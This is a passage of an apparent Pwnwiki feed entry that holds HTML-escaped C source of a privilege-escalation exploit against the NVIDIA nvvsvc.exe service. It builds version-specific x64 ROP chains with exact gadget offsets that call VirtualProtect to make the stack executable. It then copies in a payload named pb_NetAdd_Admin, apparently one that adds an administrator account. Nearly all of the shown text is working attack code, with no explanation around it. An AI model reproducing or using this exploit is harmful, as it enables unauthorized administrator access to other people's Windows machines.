     pRopChain[18] = 0; // Padding ...&lt;br /&gt;
     pRopChain[19] = 0; // ...&lt;br /&gt;
     pRopChain[20] = 0; // ...&lt;br /&gt;
     pRopChain[21] = 0; // ...&lt;br /&gt;
     pRopChain[22] = 0; // ...&lt;br /&gt;
     // Param 4: lpflOldProtect [r9 - already points at writable location]&lt;br /&gt;
     pRopChain[23] = uiBase + 0xd202;  // nvvsvc.exe+0xd202: pop rax; retn&lt;br /&gt;
     pRopChain[24] = uiBase + 0x91308; // IAT entry &amp;amp;VirtualProtect - 0x130&lt;br /&gt;
     pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn&lt;br /&gt;
     pRopChain[26] = 0; // Padding ...&lt;br /&gt;
     pRopChain[27] = 0; // ...&lt;br /&gt;
     pRopChain[28] = 0; // ...&lt;br /&gt;
     pRopChain[29] = 0; // ...&lt;br /&gt;
     pRopChain[30] = 0; // ...&lt;br /&gt;
     pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax&lt;br /&gt;
     pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp&lt;br /&gt;
&lt;br /&gt;
     memcpy(pRopChain + 33, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));&lt;br /&gt;
    }&lt;br /&gt;
    break;&lt;br /&gt;
   case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b&lt;br /&gt;
    {&lt;br /&gt;
     uiBase = uiRetnAddress - 0x3a11;&lt;br /&gt;
     printf(&amp;quot;\t\t =&amp;gt; nvvsvc.exe base 0x%x%x:\n&amp;quot;, (DWORD)(uiBase &amp;gt;&amp;gt; 32), (DWORD)uiBase);&lt;br /&gt;
&lt;br /&gt;
     pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));&lt;br /&gt;
&lt;br /&gt;
     // Param 1: lpAddress [r11 (near rsp) into rcx]&lt;br /&gt;
     pRopChain[0] = uiBase + 0x15b52;    // nvvsvc.exe+0x15b52: mov rax, r11; retn&lt;br /&gt;
     pRopChain[1] = uiBase + 0x54d4c;    // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn&lt;br /&gt;
     pRopChain[2] = 0;  // Padding ...&lt;br /&gt;
     pRopChain[3] = 0;  // ...&lt;br /&gt;
     pRopChain[4] = 0;  // ...&lt;br /&gt;
     pRopChain[5] = 0;  // ...&lt;br /&gt;
     pRopChain[6] = 0;  // ...&lt;br /&gt;
     pRopChain[7] = uiBase + 0x8d7aa;    // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn&lt;br /&gt;
     pRopChain[8] = 0x1;                 // Param 2: dwSize [rdx = 1 (whole page)]&lt;br /&gt;
     pRopChain[9] = 0;                   // Padding ...&lt;br /&gt;
     // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]&lt;br /&gt;
     pRopChain[10] = uiBase + 0xd33a;    // nvvsvc.exe+0xd33a: pop rax; retn&lt;br /&gt;
     pRopChain[11] = 0x40;               // PAGE_EXECUTE_READWRITE&lt;br /&gt;
     pRopChain[12] = uiBase + 0x8d26;    // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn&lt;br /&gt;
     pRopChain[13] = 0; // Padding ...&lt;br /&gt;
     pRopChain[14] = 0; // ...&lt;br /&gt;
     pRopChain[15] = 0; // ...&lt;br /&gt;
     pRopChain[16] = 0; // ...&lt;br /&gt;
     pRopChain[17] = 0; // ...&lt;br /&gt;
     // Param 4: lpflOldProtect [r9 - already points at writable location]&lt;br /&gt;
     pRopChain[18] = uiBase + 0xd33a;    // nvvsvc.exe+0xd33a: pop rax; retn&lt;br /&gt;
     pRopChain[19] = uiBase + 0x91310;   // IAT entry &amp;amp;VirtualProtect - 0x128&lt;br /&gt;
     pRopChain[20] = uiBase + 0x82851;   // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn&lt;br /&gt;
     pRopChain[21] = 0; // Padding ...&lt;br /&gt;
     pRopChain[22] = 0; // ...&lt;br /&gt;
     pRopChain[23] = 0; // ...&lt;br /&gt;
     pRopChain[24] = 0; // ...&lt;br /&gt;
     pRopChain[25] = 0; // ...&lt;br /&gt;
     pRopChain[26] = uiBase + 0x44fb6;   // nvvsvc.exe+0x44fb6: jmp rax&lt;br /&gt;
     pRopChain[27] = uiBase + 0x8a0dc;   // nvvsvc.exe+0x8a0dc: push rsp; retn&lt;br /&gt;
   &lt;br /&gt;
     memcpy(pRopChain + 28, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));&lt;br /&gt;
    }&lt;br /&gt;
    break;&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  i++;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 dwReturnCode = 0;&lt;br /&gt;
Cleanup:&lt;br /&gt;
 if(hPipe)&lt;br /&gt;
  CloseHandle(hPipe);&lt;br /&gt;
 &lt;br /&gt;
 return dwReturnCode;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>